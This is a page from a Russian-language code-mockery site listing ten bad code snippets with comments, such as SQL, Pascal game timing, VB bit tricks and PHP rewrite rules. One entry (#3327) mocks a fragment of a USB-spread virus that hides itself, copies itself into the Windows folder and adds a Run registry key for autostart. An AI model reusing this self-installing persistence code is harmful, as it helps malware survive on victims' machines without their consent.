1. SQL / Говнокод #3330

    −854

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    Select  *
    From Table1
    Where ( 
                   (id = 2000)
                        or
                    id = ( Select max(id) from Table1 )
                  )

    а я дивувався, чому цей код в табличці > 300 000 записів виконується так довго ...

    O_O, 26 Мая 2010

    Комментарии (15)
  2. Pascal / Говнокод #3329

    +86

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    procedure Click(H: hWnd);
    begin
      SendMessage(H, wm_LButtonDown, 0, 0);
      SendMessage(H, wm_LButtonUp, 0, 0);
    end;

    Как я круто по-хакерски сэмулировал нажатие на кнопку или на радиобаттон.

    TarasB, 26 Мая 2010

    Комментарии (30)
  3. Pascal / Говнокод #3328

    +107

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    var
      OGTC: cardinal; // для сверки с таймером
    
    procedure CheckPhys;
    begin
      if OGTC < GetTickCount then begin
        Phys;   // тут считается вся игровая физика и все изменения состояний. Звуки тоже здесь.
        Inc(OGTC, dT);
      end;
    end;
    
    procedure Graph;     // процедура отрисовки графики
    var
      i: integer;
    begin
      CheckPhys;
      for i := 0 to ItemCount - 1 do with Items[i]^ do CopyPosition := Position; // делаем копию состояния перед отрисовкой мира!
      for i := 0 to ItemCount - 1 do begin
        ShowItem(Items[i]^);           // рисуем элемент мира
        CheckPhys;                     // проверяем, не пора ли снова считать физику
      end;
    end;
    
    procedure OnIdle;
    begin
      if PlayingGame then Graph;
    end;

    Надо, чтобы в игре скорость игрового процесса не зависела от тормозов графики. Даже когда кадр долго рисуется, звуки и движения делаются строго по таймеру. Создавать лишний поток мне в лом, и вообще я дико боюсь приколов с синхронизациями и так далее. Поэтому сделал такую хрень. Сэмулировал многопоточность банальным однопоточным кодом.

    TarasB, 26 Мая 2010

    Комментарии (129)
  4. C++ / Говнокод #3327

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    Application->ShowMainForm=false; //прячимся
    
    // Осваеваемся в новой системе
    if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
    //скопируемся
    CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
    //и пропишимся в автозагрузку:
    TRegistry *reg=new TRegistry;
    reg->RootKey=HKEY_LOCAL_MACHINE;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
    reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
    reg->CloseKey();
    reg->Free();
    }

    ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html

    This is obvious, 26 Мая 2010

    Комментарии (40)
  5. C++ / Говнокод #3326

    +157

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    // Для получения имени компьютера напишите следующий код:
    unsigned long Size = MAX_COMPUTERNAME_LENGTH + 1;
    char *Buffer = new char[Size];
    GetComputerName(Buffer, &Size);
    // после выполнения данного кода имя компьютера будет
    // содержаться в Buffer. После того, как Buffer перестанет быть
    // вам нужным, не забудьте вызвать delete [] Buffer.
    
    /*-------------------*/
    
    //Изменение имени компьютера
    
    // для изменения имени компьютера воспользуйтесь функцией
    // SetComputerName
    SetComputerName("НОВОЕ_ИМЯ_КОМПЬЮТЕРА");
    // не забудьте перезагрузить машину

    Имя компьютера - получение и изминение в C++ Builder
    (c) webkill http://webkill.ru/content/?id=508

    This is obvious, 26 Мая 2010

    Комментарии (41)
  6. C++ / Говнокод #3325

    +160

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    bool S()
        {
            if(VD){std::cout<<"S";}
            bool b;
            if(D()==true) {b= true;}
            else {b=false;};
            return b;
        }
    
            bool D()
        {
            if(VD){std::cout<<" => D";}
            bool b=true;
            bool b1=DC();
            bool b2=DV();
            bool b3=DP();
            b=b1&b2&b3;
            return b;
        }
            bool DC()
        {
            if(VD){std::cout<<" => DC";}
            bool b=(M[i] == "CONST");
            i++;
            if (b && (COK()) && (M[i] == ";")) {b=true;}
            else {b=false;
            };
            i++;
            return b;
        }

    Код из лабораторной работы студента 3-го курса Севастопольского национального технического университета, факультет Автоматики и вычислительной техники. Данный код является фрагментом синтаксического анализатора (методом рекурсивного спуска).

    Serega_M31, 26 Мая 2010

    Комментарии (9)
  7. Java / Говнокод #3324

    +81

    1. 1
    if (loggedInUser.getEmail().equalsIgnoreCase( "" ) ) { ... }

    raorn, 26 Мая 2010

    Комментарии (13)
  8. VisualBasic / Говнокод #3323

    −349

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    Function shr(ByVal a As Long, ByVal i As Long) As Long
    Dim r As Variant
    r = a / (2 ^ i)
    shr = Fix(r)
    End Function
    
    'используется для получения значения n-го бита таким вот образом
    if (shr(value,n) mod 2)=1 then
    ....
    end if
    
    'в другом месте почему-то биты проверяются по-другому
    For i = 2 To Len(s)
      a = Asc(Mid(s, i, 1))
      b = (q Mod (2 ^ (i - 1))) \ (2 ^ (i - 2))
      If b = 1 Then a = a - 32  'сути этого я так и не понял
      t = t + Chr(a)
    Next

    мастерская работа с битами. епта я б на асме это в 1 строку сделал

    3.14159265, 26 Мая 2010

    Комментарии (44)
  9. C# / Говнокод #3322

    +119

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (dataTank.UpdateSQLTable(addressTbl, (int)SharedConstants.FocusAdapterTables.Address, SharedConstants.FocusAdapterTables.Address.ToString()) > 0)
              {
                return true;
              }
              return false;

    Yeah, baby!
    Похоже, ребята специально создавали себе места для рефакторинга - набудущее, чтобы было чем заняться.

    Progreso, 26 Мая 2010

    Комментарии (12)
  10. PHP / Говнокод #3321

    +169

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    htaccess:
    
    DirectoryIndex index.php
    RewriteEngine on
    RewriteBase /
    RewriteRule ^0.html$ style/index.php
    RewriteRule ^1.html$ style/index.php?id=register
    RewriteRule ^2.html$ style/index.php?id=download
    RewriteRule ^3.html$ style/index.php?id=top_chars
    RewriteRule ^4.html$ style/index.php?id=who_online
    RewriteRule ^5.html$ style/index.php?id=top_zeny
    RewriteRule ^6.html$ style/index.php?id=top_mvp
    RewriteRule ^7.html$ style/index.php?id=top_pvp
    RewriteRule ^8.html$ style/index.php?id=top_guild
    RewriteRule ^9.html$ style/index.php?id=who_sell_buy
    RewriteRule ^10.html$ style/index.php?id=first_class
    
    
    php:
    
    <?php
    $url = $REQUEST_URI;
    $url2 = strlen($url);
    if($url2 > 14) { 
    header("location: ./");
    exit;
    }
        
    ?>

    Комментарий от автора:

    "Да тут реврайт для того, чтобы превратить ссылки в одинаковую длину, а потом уже проверять длину ссылки, если больше нормы переадресиция на главную..."

    xynta, 26 Мая 2010

    Комментарии (17)